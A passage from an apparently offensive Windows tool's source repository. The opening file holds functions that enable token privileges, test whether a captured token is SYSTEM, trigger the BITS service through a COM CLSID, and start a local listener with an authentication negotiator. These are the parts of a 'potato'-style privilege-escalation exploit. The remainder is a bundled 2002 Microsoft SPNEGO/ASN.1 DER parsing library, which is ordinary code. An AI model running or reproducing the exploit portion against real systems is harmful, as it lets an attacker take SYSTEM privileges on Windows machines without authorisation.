SPNEGO_E_BUFFER_TOO_SMALL) 559 | { 560 | // Now allocate and extract the buffer. 561 | *generatedToken = (unsigned char*)malloc(*generatedTokenLen); 562 | nError = spnegoTokenGetBinary(hSpnegoResponseToken, *generatedToken, generatedTokenLen); 563 | if (SPNEGO_E_SUCCESS == nError) 564 | { 565 | return true; 566 | } 567 | else 568 | { 569 | printf("\nCannot convert SPNEGO NegTokenTarg token to binary data\n"); 570 | free(*generatedToken); 571 | *generatedToken = NULL; 572 | return false; 573 | } 574 | } 575 | printf("\nCannot convert SPNEGO NegTokenTarg token to binary data\n"); 576 | return false; 577 | } 578 | 579 | BOOL EnablePriv(HANDLE hToken, LPCTSTR priv) 580 | { 581 | TOKEN_PRIVILEGES tp; 582 | LUID luid; 583 | 584 | if (!LookupPrivilegeValue(NULL, priv, &luid)) 585 | { 586 | printf("Priv Lookup FALSE\n"); 587 | return FALSE; 588 | } 589 | 590 | tp.PrivilegeCount = 1; 591 | tp.Privileges[0].Luid = luid; 592 | tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 593 | if (!AdjustTokenPrivileges( 594 | hToken, 595 | FALSE, 596 | &tp, 597 | sizeof(TOKEN_PRIVILEGES), 598 | (PTOKEN_PRIVILEGES)NULL, 599 | (PDWORD)NULL)) 600 | { 601 | printf("Priv Adjust FALSE\n"); 602 | return FALSE; 603 | } 604 | 605 | return TRUE; 606 | } 607 | 608 | int IsTokenSystem(HANDLE tok) 609 | { 610 | DWORD Size, UserSize, DomainSize; 611 | SID* sid; 612 | SID_NAME_USE SidType; 613 | TCHAR UserName[64], DomainName[64]; 614 | TOKEN_USER* User; 615 | Size = 0; 616 | GetTokenInformation(tok, TokenUser, NULL, 0, &Size); 617 | if (!Size) 618 | return FALSE; 619 | 620 | User = (TOKEN_USER*)malloc(Size); 621 | assert(User); 622 | GetTokenInformation(tok, TokenUser, User, Size, &Size); 623 | assert(Size); 624 | Size = GetLengthSid(User->User.Sid); 625 | assert(Size); 626 | sid = (SID*)malloc(Size); 627 | assert(sid); 628 | 629 | CopySid(Size, sid, User->User.Sid); 630 | UserSize = (sizeof UserName / sizeof * UserName) - 1; 631 | DomainSize = (sizeof DomainName / sizeof * DomainName) - 1; 632 | LookupAccountSid(NULL, sid, UserName, &UserSize, DomainName, &DomainSize, &SidType); 633 | free(sid); 634 | 635 | printf("%S\\%S\n", DomainName, UserName); 636 | if (!_wcsicmp(UserName, L"SYSTEM")) 637 | return 1; 638 | 639 | return 0; 640 | } 641 | 642 | bool isBitsRunning() { 643 | SC_HANDLE hService, hSCManager; 644 | SERVICE_STATUS ServiceStatus; 645 | int status = -1; 646 | bool result = false; 647 | hSCManager = OpenSCManagerA(NULL, NULL, SC_MANAGER_CONNECT | SERVICE_QUERY_STATUS); 648 | if (hSCManager == NULL) { 649 | printf("\nSCM Error. Skipping BITS check ...\nOpenSCManagerA error: %d\n", GetLastError()); 650 | return false; 651 | } 652 | hService = OpenServiceA(hSCManager, (LPCSTR)"BITS", SERVICE_QUERY_STATUS); 653 | if (hService == NULL) { 654 | printf("\nSCM Error. Skipping BITS check ...\nOpenServiceA error: %d\n", GetLastError()); 655 | return false; 656 | } 657 | status = QueryServiceStatus(hService, &ServiceStatus); 658 | if (status == 0) { 659 | printf("\nSCM Error. Skipping BITS check ...\nQueryServiceStatus error: %d\n", GetLastError()); 660 | return false; 661 | } 662 | if (ServiceStatus.dwCurrentState == SERVICE_RUNNING) { 663 | result = true; 664 | printf("BITS is running... Waiting 30 seconds for Timeout (usually 120 seconds for timeout)... \n"); 665 | } 666 | else 667 | result = false; 668 | return result; 669 | } 670 | 671 | bool triggerBits(void) { 672 | bool status=false; 673 | HRESULT result = -1; 674 | CLSID clsid; 675 | IUnknown* unknown1 = NULL; 676 | CoInitialize(nullptr); 677 | CLSIDFromString(OLESTR("{4991d34b-80a1-4291-83b6-3328366b9097}"), &clsid); 678 | result = CoCreateInstance(clsid, NULL, CLSCTX_LOCAL_SERVER, IID_IUnknown, (void**)&unknown1); 679 | if (result == S_OK) { 680 | status = true; 681 | unknown1->Release(); 682 | } 683 | else { 684 | printf("CoCreateInstance failed with error 0x%x\n", result); 685 | status = false; 686 | } 687 | CoUninitialize(); 688 | return status; 689 | } 690 | 691 | HANDLE startListenerThread(wchar_t* listen_port, LocalNegotiator* negotiator, bool debug) { 692 | HANDLE hThread; 693 | THREAD_PARAMETERS threads_params = {}; 694 | threads_params.listen_port = listen_port; 695 | threads_params.negotiator = negotiator; 696 | threads_params.debug = debug; 697 | wprintf(L"\nListening for connection on port %s .... \n", listen_port); 698 | hThread = CreateThread(0, 0, reinterpret_cast(startListener), &threads_params, 0, NULL); 699 | return hThread; 700 | } -------------------------------------------------------------------------------- /spnegotokenhandler/derparse.c: -------------------------------------------------------------------------------- 1 | // Copyright (C) 2002 Microsoft Corporation 2 | // All rights reserved. 3 | // 4 | // THIS CODE AND INFORMATION IS PROVIDED "AS IS" 5 | // WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED 6 | // OR IMPLIED, INCLUDING BUT NOT LIMITED 7 | // TO THE IMPLIED WARRANTIES OF MERCHANTIBILITY 8 | // AND/OR FITNESS FOR A PARTICULAR PURPOSE. 9 | // 10 | // Date - 10/08/2002 11 | // Author - Sanj Surati 12 | 13 | 14 | ///////////////////////////////////////////////////////////// 15 | // 16 | // DERPARSE.C 17 | // 18 | // SPNEGO Token Handler Source File 19 | // 20 | // Contains implementation of ASN.1 DER read/write functions 21 | // as defined in DERPARSE.H. 22 | // 23 | ///////////////////////////////////////////////////////////// 24 | 25 | #include 26 | #include 27 | #include 28 | #include "spnego.h" 29 | #include "derparse.h" 30 | 31 | #define __LITTLE_ENDIAN__ 1 32 | 33 | // 34 | // The GSS Mechanism OID enumeration values (SPNEGO_MECH_OID) control which offset in 35 | // the array below, that a mechanism can be found. 36 | // 37 | MECH_OID g_stcMechOIDList[] = 38 | { 39 | {"\x06\x09\x2a\x86\x48\x82\xf7\x12\x01\x02\x02", 11, 9, 40 | spnego_mech_oid_Kerberos_V5_Legacy }, // 1.2.840.48018.1.2.2 41 | {"\x06\x09\x2a\x86\x48\x86\xf7\x12\x01\x02\x02", 11, 9, 42 | spnego_mech_oid_Kerberos_V5 }, // 1.2.840.113554.1.2.2 43 | {"\x06\x06\x2b\x06\x01\x05\x05\x02", 8, 6, 44 | spnego_mech_oid_Spnego }, // 1.3.6.1.5.5.2 45 | {"\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a", 12, 10, 46 | spnego_mech_oid_NTLMSSP }, // 1.3.6.1.4.1.311.2.2.10 47 | {"", 0, 0, spnego_mech_oid_NotUsed } // Placeholder 48 | }; 49 | 50 | ///////////////////////////////////////////////////////////////////////////// 51 | // 52 | // Function: 53 | // ASNDerGetLength 54 | // 55 | // Parameters: 56 | // [in] pbLengthData - DER Length Data 57 | // [in] nBoundaryLength - Length that value must not exceed. 58 | // [out] pnLength - Filled out with length value 59 | // [out] pnNumLengthBytes - Filled out with number of bytes 60 | // consumed by DER length. 61 | // 62 | // Returns: 63 | // int Success - SPNEGO_E_SUCCESS 64 | // Failure - SPNEGO API Error code 65 | // 66 | // Comments : 67 | // Interprets the data at pbLengthData as a DER length. The length must 68 | // fit within the bounds of nBoundary length. We do not currently 69 | // process lengths that take more than 4 bytes. 70 | // 71 | //////////////////////////////////////////////////////////////////////////// 72 | 73 | int ASNDerGetLength(unsigned char* pbLengthData, long nBoundaryLength, long* pnLength, 74 | long* pnNumLengthBytes) 75 | { 76 | int nReturn = SPNEGO_E_INVALID_LENGTH; 77 | int nNumLengthBytes = 0; 78 | 79 | // First check if the extended length bit is set 80 | 81 | if (*pbLengthData & LEN_XTND) 82 | { 83 | // Lower 7 bits contain the number of trailing bytes that describe the length 84 | nNumLengthBytes = *pbLengthData & LEN_MASK; 85 | 86 | // Check that the number of bytes we are about to read is within our boundary 87 | // constraints 88 | 89 | if (nNumLengthBytes <= nBoundaryLength - 1) 90 | { 91 | 92 | // For now, our handler won't deal with lengths greater than 4 bytes 93 | if (nNumLengthBytes >= 1 && nNumLengthBytes <= 4) 94 | { 95 | // 0 out the initial length 96 | *pnLength = 0L; 97 | 98 | // Bump by 1 byte 99 | pbLengthData++; 100 | #ifdef __LITTLE_ENDIAN__ 101 | 102 | // There may be a cleaner way to do this, but for now, this seems to be 103 | // an easy way to do the transformation 104 | switch (nNumLengthBytes) 105 | { 106 | case 1: 107 | { 108 | *(((unsigned char*)pnLength)) = *pbLengthData; 109 | break; 110 | } 111 | 112 | case 2: 113 | { 114 | *(((unsigned char*)pnLength)) = *(pbLengthData + 1); 115 | *(((unsigned char*)pnLength) + 1) = *(pbLengthData); 116 | 117 | break; 118 | } 119 | 120 | case 3: 121 | { 122 | *(((unsigned char*)pnLength)) = *(pbLengthData + 2); 123 | *(((unsigned char*)pnLength) + 2) = *(pbLengthData + 1); 124 | *(((unsigned char*)pnLength) + 3) = *(pbLengthData); 125 | break; 126 | } 127 | 128 | case 4: 129 | { 130 | *(((unsigned char*)pnLength)) = *(pbLengthData + 3); 131 | *(((unsigned char*)pnLength) + 1) = *(pbLengthData + 2); 132 | *(((unsigned char*)pnLength) + 2) = *(pbLengthData + 1); 133 | *(((unsigned char*)pnLength) + 3) = *(pbLengthData); 134 | break; 135 | } 136 | 137 | } // SWITCH ( nNumLengthBytes ) 138 | 139 | #else 140 | // We are Big-Endian, so the length can be copied in from the source 141 | // as is. Ensure that we adjust for the number of bytes we actually 142 | // copy. 143 | 144 | memcpy(((unsigned char*)pnLength) + (4 - nNumLengthBytes), 145 | pbLengthData, nNumLengthBytes); 146 | #endif 147 | 148 | // Account for the initial length byte 149 | * pnNumLengthBytes = nNumLengthBytes + 1; 150 | nReturn = SPNEGO_E_SUCCESS; 151 | 152 | } // IF Valid Length 153 | 154 | } // IF num bytes to read is within the boundary length 155 | 156 | } // IF xtended length 157 | else 158 | { 159 | 160 | // Extended bit is not set, so the length is in the value and the one 161 | // byte describes the length 162 | *pnLength = *pbLengthData & LEN_MASK; 163 | *pnNumLengthBytes = 1; 164 | nReturn = SPNEGO_E_SUCCESS; 165 | 166 | } 167 | 168 | return nReturn; 169 | } 170 | 171 | 172 | ///////////////////////////////////////////////////////////////////////////// 173 | // 174 | // Function: 175 | // ASNDerCheckToken 176 | // 177 | // Parameters: 178 | // [in] pbTokenData - Token Data 179 | // [in] nToken - Token identifier to check for 180 | // [in] nLengthWithToken - Expected token length (with data) 181 | // [in] nBoundaryLength - Length that value must not exceed. 182 | // [out] pnLength - Filled out with data length 183 | // [out] pnTokenLength - Filled out with number of bytes 184 | // consumed by token identifier and length. 185 | // 186 | // Returns: 187 | // int Success - SPNEGO_E_SUCCESS 188 | // Failure - SPNEGO API Error code 189 | // 190 | // Comments : 191 | // Checks the data pointed to by pbTokenData for the specified token 192 | // identifier and the length that immediately follows. If 193 | // nLengthWithToken is > 0, the calculated length must match. The 194 | // length must also not exceed the specified boundary length . 195 | // 196 | //////////////////////////////////////////////////////////////////////////// 197 | 198 | int ASNDerCheckToken(unsigned char* pbTokenData, unsigned char nToken, 199 | long nLengthWithToken, long nBoundaryLength, 200 | long* pnLength, long* pnTokenLength) 201 | { 202 | 203 | int nReturn = SPNEGO_E_INVALID_LENGTH; 204 | long nNumLengthBytes = 0L; 205 | 206 | // Make sure that we've at least got 2 bytes of room to work with 207 | 208 | if (nBoundaryLength >= 2) 209 | { 210 | // The first byte of the token data MUST match the specified token 211 | if (*pbTokenData == nToken) 212 | { 213 | // Next byte indicates the length 214 | pbTokenData++; 215 | 216 | // Get the length described by the token 217 | if ((nReturn = ASNDerGetLength(pbTokenData, nBoundaryLength, pnLength, 218 | &nNumLengthBytes)) == SPNEGO_E_SUCCESS) 219 | { 220 | // Verify that the length is LESS THAN the boundary length 221 | // (this should prevent us walking out of our buffer) 222 | if ((nBoundaryLength - (nNumLengthBytes + 1) < *pnLength)) 223 | { 224 | 225 | nReturn = SPNEGO_E_INVALID_LENGTH; 226 | 227 | } 228 | 229 | // If we were passed a length to check, do so now 230 | if (nLengthWithToken > 0L) 231 | { 232 | 233 | // Check that the expected length matches 234 | if ((nLengthWithToken - (nNumLengthBytes + 1)) != *pnLength) 235 | { 236 | 237 | nReturn = SPNEGO_E_INVALID_LENGTH; 238 | 239 | } 240 | 241 | } // IF need to validate length 242 | 243 | if (SPNEGO_E_SUCCESS == nReturn) 244 | { 245 | *pnTokenLength = nNumLengthBytes + 1; 246 | } 247 | 248 | } // IF ASNDerGetLength 249 | 250 | } // IF token matches 251 | else 252 | { 253 | nReturn = SPNEGO_E_TOKEN_NOT_FOUND; 254 | } 255 | 256 | } // IF Boundary Length is at least 2 bytes 257 | 258 | return nReturn; 259 | } 260 | 261 | ///////////////////////////////////////////////////////////////////////////// 262 | // 263 | // Function: 264 | // ASNDerCheckOID 265 | // 266 | // Parameters: 267 | // [in] pbTokenData - Token Data 268 | // [in] nMechOID - OID we are looking for 269 | // [in] nBoundaryLength - Length that value must not exceed. 270 | // [out] pnTokenLength - Filled out with number of bytes 271 | // consumed by token and data. 272 | // 273 | // Returns: 274 | // int Success - SPNEGO_E_SUCCESS 275 | // Failure - SPNEGO API Error code 276 | // 277 | // Comments : 278 | // Checks the data pointed to by pbTokenData for the specified OID. 279 | // 280 | //////////////////////////////////////////////////////////////////////////// 281 | 282 | int ASNDerCheckOID(unsigned char* pbTokenData, SPNEGO_MECH_OID nMechOID, long nBoundaryLength, 283 | long* pnTokenLength) 284 | { 285 | int nReturn = 0L; 286 | long nLength = 0L; 287 | 288 | // Verify that we have an OID token 289 | if ((nReturn = ASNDerCheckToken(pbTokenData, OID, 0L, nBoundaryLength, 290 | &nLength, pnTokenLength)) == SPNEGO_E_SUCCESS) 291 | { 292 | // Add the data length to the Token Length 293 | *pnTokenLength += nLength; 294 | 295 | // Token Lengths plus the actual length must match the length in our OID list element. 296 | // If it doesn't, we're done 297 | if (*pnTokenLength == g_stcMechOIDList[nMechOID].iLen) 298 | { 299 | // Memcompare the token and the expected field 300 | if (memcmp(pbTokenData, g_stcMechOIDList[nMechOID].ucOid, *pnTokenLength) != 0) 301 | { 302 | nReturn = SPNEGO_E_UNEXPECTED_OID; 303 | } 304 | } 305 | else 306 | { 307 | nReturn = SPNEGO_E_UNEXPECTED_OID; 308 | } 309 | 310 | } // IF OID Token CHecks 311 | 312 | return nReturn; 313 | } 314 | 315 | ///////////////////////////////////////////////////////////////////////////// 316 | // 317 | // Function: 318 | // ASNDerCalcNumLengthBytes 319 | // 320 | // Parameters: 321 | // [in] nLength - Length to calculate length bytes for. 322 | // 323 | // Returns: 324 | // int Number of bytes necessary to represent length 325 | // 326 | // Comments : 327 | // Helper function to calculate the number of length bytes necessary to 328 | // represent a length value. For our purposes, a 32-bit value should be 329 | // enough to describea length. 330 | // 331 | //////////////////////////////////////////////////////////////////////////// 332 | 333 | int ASNDerCalcNumLengthBytes(long nLength) 334 | { 335 | if (nLength <= 0x7F) 336 | { 337 | // A single byte will be sufficient for describing this length. 338 | // The byte will simply contain the length 339 | return 1; 340 | } 341 | else if (nLength <= 0xFF) 342 | { 343 | // Two bytes are necessary, one to say how many following bytes 344 | // describe the length, and one to give the length 345 | return 2; 346 | } 347 | else if (nLength <= 0xFFFF) 348 | { 349 | // Three bytes are necessary, one to say how many following bytes 350 | // describe the length, and two to give the length 351 | return 3; 352 | } 353 | else if (nLength <= 0xFFFFFF) 354 | { 355 | // Four bytes are necessary, one to say how many following bytes 356 | // describe the length, and three to give the length 357 | return 4; 358 | } 359 | else 360 | { 361 | // Five bytes are necessary, one to say how many following bytes 362 | // describe the length, and four to give the length 363 | return 5; 364 | } 365 | } 366 | 367 | 368 | ///////////////////////////////////////////////////////////////////////////// 369 | // 370 | // Function: 371 | // ASNDerCalcTokenLength 372 | // 373 | // Parameters: 374 | // [in] nLength - Length to calculate length bytes for. 375 | // [in] nDataLength - Actual Data length value. 376 | // 377 | // Returns: 378 | // long Number of bytes necessary to represent a token, length and data 379 | // 380 | // Comments : 381 | // Helper function to calculate a token and value size, based on a 382 | // supplied length value, and any binary data that will need to be 383 | // written out. 384 | // 385 | //////////////////////////////////////////////////////////////////////////// 386 | 387 | long ASNDerCalcTokenLength(long nLength, long nDataLength) 388 | { 389 | // Add a byte to the length size to account for a single byte to 390 | // hold the token type. 391 | long nTotalLength = ASNDerCalcNumLengthBytes(nLength) + 1; 392 | 393 | return nTotalLength + nDataLength; 394 | } 395 | 396 | 397 | ///////////////////////////////////////////////////////////////////////////// 398 | // 399 | // Function: 400 | // ASNDerCalcElementLength 401 | // 402 | // Parameters: 403 | // [in] nDataLength - Length of data. 404 | // [out] pnInternalLength - Filled out with length of element 405 | // without sequence info. 406 | // 407 | // Returns: 408 | // long Number of bytes necessary to represent an element 409 | // 410 | // Comments : 411 | // Helper function to calculate an element length. An element consists 412 | // of a sequence token, a type token and then the data. 413 | // 414 | //////////////////////////////////////////////////////////////////////////// 415 | 416 | long ASNDerCalcElementLength(long nDataLength, long* pnInternalLength) 417 | { 418 | // First the type token and the actual data 419 | long nTotalLength = ASNDerCalcTokenLength(nDataLength, nDataLength); 420 | 421 | // Internal length is the length without the element sequence token 422 | if (NULL != pnInternalLength) 423 | { 424 | *pnInternalLength = nTotalLength; 425 | } 426 | 427 | // Next add in the element's sequence token (remember that its 428 | // length is the total length of the type token and data) 429 | nTotalLength += ASNDerCalcTokenLength(nTotalLength, 0L); 430 | 431 | return nTotalLength; 432 | } 433 | 434 | ///////////////////////////////////////////////////////////////////////////// 435 | // 436 | // Function: 437 | // ASNDerCalcMechListLength 438 | // 439 | // Parameters: 440 | // [in] mechoid - Mech OID to put in list. 441 | // [out] pnInternalLength - Filled out with length of element 442 | // without the primary sequence token. 443 | // 444 | // Returns: 445 | // long Number of bytes necessary to represent a mechList 446 | // 447 | // Comments : 448 | // Helper function to calculate a MechList length. A mechlist consists 449 | // of a NegTokenInit sequence token, a sequence token for the MechList 450 | // and finally a list of OIDs. In our case, we only really have one 451 | // OID. 452 | // 453 | //////////////////////////////////////////////////////////////////////////// 454 | 455 | long ASNDerCalcMechListLength(SPNEGO_MECH_OID mechoid, long* pnInternalLength) 456 | { 457 | // First the OID 458 | long nTotalLength = g_stcMechOIDList[mechoid].iLen; 459 | 460 | // Next add in a sequence token 461 | nTotalLength += ASNDerCalcTokenLength(nTotalLength, 0L); 462 | 463 | // Internal length is the length without the element sequence token 464 | if (NULL != pnInternalLength) 465 | { 466 | *pnInternalLength = nTotalLength; 467 | } 468 | 469 | // Finally add in the element's sequence token 470 | nTotalLength += ASNDerCalcTokenLength(nTotalLength, 0L); 471 | 472 | return nTotalLength; 473 | } 474 | 475 | 476 | ///////////////////////////////////////////////////////////////////////////// 477 | // 478 | // Function: 479 | // ASNDerWriteLength 480 | // 481 | // Parameters: 482 | // [out] pbData - Buffer to write into. 483 | // [in] nLength - Length to write out. 484 | // 485 | // Returns: 486 | // int Number of bytes written out 487 | // 488 | // Comments : 489 | // Helper function to write out a length value following DER rules . 490 | // 491 | //////////////////////////////////////////////////////////////////////////// 492 | 493 | int ASNDerWriteLength(unsigned char* pbData, long nLength) 494 | { 495 | int nNumBytesRequired = ASNDerCalcNumLengthBytes(nLength); 496 | int nNumLengthBytes = nNumBytesRequired - 1; 497 | 498 | 499 | if (nNumBytesRequired > 1) 500 | { 501 | 502 | // Write out the number of bytes following which will be used 503 | *pbData = (unsigned char)(LEN_XTND | nNumLengthBytes); 504 | 505 | // Point to where we'll actually write the length 506 | pbData++; 507 | 508 | #ifdef __LITTLE_ENDIAN__ 509 | 510 | // There may be a cleaner way to do this, but for now, this seems to be 511 | // an easy way to do the transformation 512 | switch (nNumLengthBytes) 513 | { 514 | case 1: 515 | { 516 | // Cast the length to a single byte, since we know that it 517 | // is 0x7F or less (or we wouldn't only need a single byte). 518 | 519 | *pbData = (unsigned char)nLength; 520 | break; 521 | } 522 | 523 | case 2: 524 | { 525 | *pbData = *(((unsigned char*)& nLength) + 1); 526 | *(pbData + 1) = *(((unsigned char*)& nLength)); 527 | break; 528 | } 529 | 530 | case 3: 531 | { 532 | *pbData = *(((unsigned char*)& nLength) + 3); 533 | *(pbData + 1) = *(((unsigned char*)& nLength) + 2); 534 | *(pbData + 2) = *(((unsigned char*)& nLength)); 535 | break; 536 | } 537 | 538 | case 4: 539 | { 540 | *pbData = *(((unsigned char*)& nLength) + 3); 541 | *(pbData + 1) = *(((unsigned char*)& nLength) + 2); 542 | *(pbData + 2) = *(((unsigned char*)& nLength) + 1); 543 | *(pbData + 3) = *(((unsigned char*)& nLength)); 544 | break; 545 | } 546 | 547 | } // SWITCH ( nNumLengthBytes ) 548 | 549 | #else 550 | // We are Big-Endian, so the length can be copied in from the source 551 | // as is. Ensure that we adjust for the number of bytes we actually 552 | // copy. 553 | 554 | memcpy(pbData, 555 | ((unsigned char*)& nLength) + (4 - nNumLengthBytes), nNumLengthBytes); 556 | #endif 557 | 558 | } // IF > 1 byte for length 559 | else 560 | { 561 | // Cast the length to a single byte, since we know that it 562 | // is 0x7F or less (or we wouldn't only need a single byte). 563 | 564 | *pbData = (unsigned char)nLength; 565 | } 566 | 567 | return nNumBytesRequired; 568 | } 569 | 570 | ///////////////////////////////////////////////////////////////////////////// 571 | // 572 | // Function: 573 | // ASNDerWriteToken 574 | // 575 | // Parameters: 576 | // [out] pbData - Buffer to write into. 577 | // [in] ucType - Token Type 578 | // [in] pbTokenValue - Actual Value 579 | // [in] nLength - Length of Data. 580 | // 581 | // Returns: 582 | // int Number of bytes written out 583 | // 584 | // Comments : 585 | // Helper function to write out a token and any associated data. If 586 | // pbTokenValue is non-NULL, then it is written out in addition to the 587 | // token identifier and the length bytes. 588 | // 589 | //////////////////////////////////////////////////////////////////////////// 590 | 591 | int ASNDerWriteToken(unsigned char* pbData, unsigned char ucType, 592 | unsigned char* pbTokenValue, long nLength) 593 | { 594 | int nTotalBytesWrittenOut = 0L; 595 | int nNumLengthBytesWritten = 0L; 596 | 597 | // Write out the type 598 | *pbData = ucType; 599 | 600 | // Wrote 1 byte, and move data pointer 601 | nTotalBytesWrittenOut++; 602 | pbData++; 603 | 604 | // Now write out the length and adjust the number of bytes written out 605 | nNumLengthBytesWritten = ASNDerWriteLength(pbData, nLength); 606 | 607 | nTotalBytesWrittenOut += nNumLengthBytesWritten; 608 | pbData += nNumLengthBytesWritten; 609 | 610 | // Write out the token value if we got one. The assumption is that the 611 | // nLength value indicates how many bytes are in pbTokenValue. 612 | 613 | if (NULL != pbTokenValue) 614 | { 615 | memcpy(pbData, pbTokenValue, nLength); 616 | nTotalBytesWrittenOut += nLength; 617 | } 618 | 619 | return nTotalBytesWrittenOut; 620 | } 621 | 622 | 623 | ///////////////////////////////////////////////////////////////////////////// 624 | // 625 | // Function: 626 | // ASNDerWriteOID 627 | // 628 | // Parameters: 629 | // [out] pbData - Buffer to write into. 630 | // [in] eMechOID - OID to write out. 631 | // 632 | // Returns: 633 | // int Number of bytes written out 634 | // 635 | // Comments : 636 | // Helper function to write out an OID. For these we have the raw bytes 637 | // listed in a global structure. The caller simply indicates which OID 638 | // should be written and we will splat out the data. 639 | // 640 | //////////////////////////////////////////////////////////////////////////// 641 | 642 | int ASNDerWriteOID(unsigned char* pbData, SPNEGO_MECH_OID eMechOID) 643 | { 644 | 645 | memcpy(pbData, g_stcMechOIDList[eMechOID].ucOid, g_stcMechOIDList[eMechOID].iLen); 646 | 647 | return g_stcMechOIDList[eMechOID].iLen; 648 | } 649 | 650 | 651 | ///////////////////////////////////////////////////////////////////////////// 652 | // 653 | // Function: 654 | // ASNDerWriteMechList 655 | // 656 | // Parameters: 657 | // [out] pbData - Buffer to write into. 658 | // [in] eMechOID - OID to put in MechList. 659 | // 660 | // Returns: 661 | // int Number of bytes written out 662 | // 663 | // Comments : 664 | // Helper function to write out a MechList. A MechList consists of the 665 | // Init Token Sequence, a sequence token and then the list of OIDs. In 666 | // our case the OID is from a global array of known OIDs. 667 | // 668 | //////////////////////////////////////////////////////////////////////////// 669 | 670 | long ASNDerWriteMechList(unsigned char* pbData, SPNEGO_MECH_OID mechoid) 671 | { 672 | // First get the length 673 | long nInternalLength = 0L; 674 | long nMechListLength = ASNDerCalcMechListLength(mechoid, &nInternalLength); 675 | long nTempLength = 0L; 676 | 677 | nTempLength = ASNDerWriteToken(pbData, SPNEGO_NEGINIT_ELEMENT_MECHTYPES, 678 | NULL, nInternalLength); 679 | 680 | // Adjust the data pointer 681 | pbData += nTempLength; 682 | 683 | // Now write the Sequence token and the OID (the OID is a BLOB in the global 684 | // structure. 685 | 686 | nTempLength = ASNDerWriteToken(pbData, SPNEGO_CONSTRUCTED_SEQUENCE, 687 | g_stcMechOIDList[mechoid].ucOid, 688 | g_stcMechOIDList[mechoid].iLen); 689 | 690 | return nMechListLength; 691 | } 692 | 693 | 694 | ///////////////////////////////////////////////////////////////////////////// 695 | // 696 | // Function: 697 | // ASNDerWriteElement 698 | // 699 | // Parameters: 700 | // [out] pbData - Buffer to write into. 701 | // [in] ucElementSequence - Sequence Token 702 | // [in] ucType - Token Type 703 | // [in] pbTokenValue - Actual Value 704 | // [in] nLength - Length of Data. 705 | // 706 | // Returns: 707 | // int Number of bytes written out 708 | // 709 | // Comments : 710 | // Helper function to write out a SPNEGO Token element. An element 711 | // consists of a sequence token, a type token and the associated data. 712 | // 713 | //////////////////////////////////////////////////////////////////////////// 714 | 715 | int ASNDerWriteElement(unsigned char* pbData, unsigned char ucElementSequence, 716 | unsigned char ucType, unsigned char* pbTokenValue, long nLength) 717 | { 718 | // First get the length 719 | long nInternalLength = 0L; 720 | long nElementLength = ASNDerCalcElementLength(nLength, &nInternalLength); 721 | long nTempLength = 0L; 722 | 723 | // Write out the sequence byte and the length of the type and data 724 | nTempLength = ASNDerWriteToken(pbData, ucElementSequence, NULL, nInternalLength); 725 | 726 | // Adjust the data pointer 727 | pbData += nTempLength; 728 | 729 | // Now write the type and the data. 730 | nTempLength = ASNDerWriteToken(pbData, ucType, pbTokenValue, nLength); 731 | 732 | return nElementLength; 733 | } 734 | -------------------------------------------------------------------------------- /spnegotokenhandler/spnego.c: -------------------------------------------------------------------------------- 1 | // Copyright (C) 2002 Microsoft Corporation 2 | // All rights reserved. 3 | // 4 | // THIS CODE AND INFORMATION IS PROVIDED "AS IS" 5 | // WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED 6 | // OR IMPLIED, INCLUDING BUT NOT LIMITED 7 | // TO THE IMPLIED WARRANTIES OF MERCHANTIBILITY 8 | // AND/OR FITNESS FOR A PARTICULAR PURPOSE. 9 | // 10 | // Date - 10/08/2002 11 | // Author - Sanj Surati 12 | 13 | ///////////////////////////////////////////////////////////// 14 | // 15 | // SPNEGO.C 16 | // 17 | // SPNEGO Token Handler Source File 18 | // 19 | // Contains implementation of SPNEGO Token Handling API 20 | // as defined in SPNEGO.H. 21 | // 22 | ///////////////////////////////////////////////////////////// 23 | 24 | #include 25 | #include 26 | #include 27 | #include "spnego.h" 28 | #include "derparse.h" 29 | #include "spnegoparse.h" 30 | 31 | // 32 | // Defined in DERPARSE.C 33 | // 34 | 35 | extern MECH_OID g_stcMechOIDList[]; 36 | 37 | 38 | /**********************************************************************/ 39 | /** **/ 40 | /** **/ 41 | /** **/ 42 | /** **/ 43 | /** SPNEGO Token Handler API implementation **/ 44 | /** **/ 45 | /** **/ 46 | /** **/ 47 | /** **/ 48 | /**********************************************************************/ 49 | 50 | 51 | ///////////////////////////////////////////////////////////////////////////// 52 | // 53 | // Function: 54 | // spnegoInitFromBinary 55 | // 56 | // Parameters: 57 | // [in] pbTokenData - Binary Token Data 58 | // [in] ulLength - Length of binary Token Data 59 | // [out] phSpnegoToken - SPNEGO_TOKEN_HANDLE pointer 60 | // 61 | // Returns: 62 | // int Success - SPNEGO_E_SUCCESS 63 | // Failure - SPNEGO API Error code 64 | // 65 | // Comments : 66 | // Initializes a SPNEGO_TOKEN_HANDLE from the supplied 67 | // binary data. Data is copied locally. Returned data structure 68 | // must be freed by calling spnegoFreeData(). 69 | // 70 | //////////////////////////////////////////////////////////////////////////// 71 | 72 | int spnegoInitFromBinary(unsigned char* pbTokenData, unsigned long ulLength, SPNEGO_TOKEN_HANDLE* phSpnegoToken) 73 | { 74 | int nReturn = SPNEGO_E_INVALID_PARAMETER; 75 | SPNEGO_TOKEN** ppSpnegoToken = (SPNEGO_TOKEN * *)phSpnegoToken; 76 | 77 | // Pass off to a handler function that allows tighter control over how the token structure 78 | // is handled. In this case, we want the token data copied and we want the associated buffer 79 | // freed. 80 | nReturn = InitTokenFromBinary(SPNEGO_TOKEN_INTERNAL_COPYDATA, 81 | SPNEGO_TOKEN_INTERNAL_FLAGS_FREEDATA, pbTokenData, 82 | ulLength, ppSpnegoToken); 83 | 84 | return nReturn; 85 | } 86 | 87 | ///////////////////////////////////////////////////////////////////////////// 88 | // 89 | // Function: 90 | // spnegoCreateNegTokenInit 91 | // 92 | // Parameters: 93 | // [in] MechType - MechType to specify in MechTypeList element 94 | // [in] ucContextFlags - Context Flags element value 95 | // [in] pbMechToken - Pointer to binary MechToken Data 96 | // [in] ulMechTokenLen - Length of MechToken Data 97 | // [in] pbMechListMIC - Pointer to binary MechListMIC Data 98 | // [in] ulMechListMICLen - Length of MechListMIC Data 99 | // [out] phSpnegoToken - SPNEGO_TOKEN_HANDLE pointer 100 | // 101 | // Returns: 102 | // int Success - SPNEGO_E_SUCCESS 103 | // Failure - SPNEGO API Error code 104 | // 105 | // Comments : 106 | // Initializes a SPNEGO_TOKEN_HANDLE for a NegTokenInit type 107 | // from the supplied parameters. ucContextFlags may be 0 or must be 108 | // a valid flag combination. 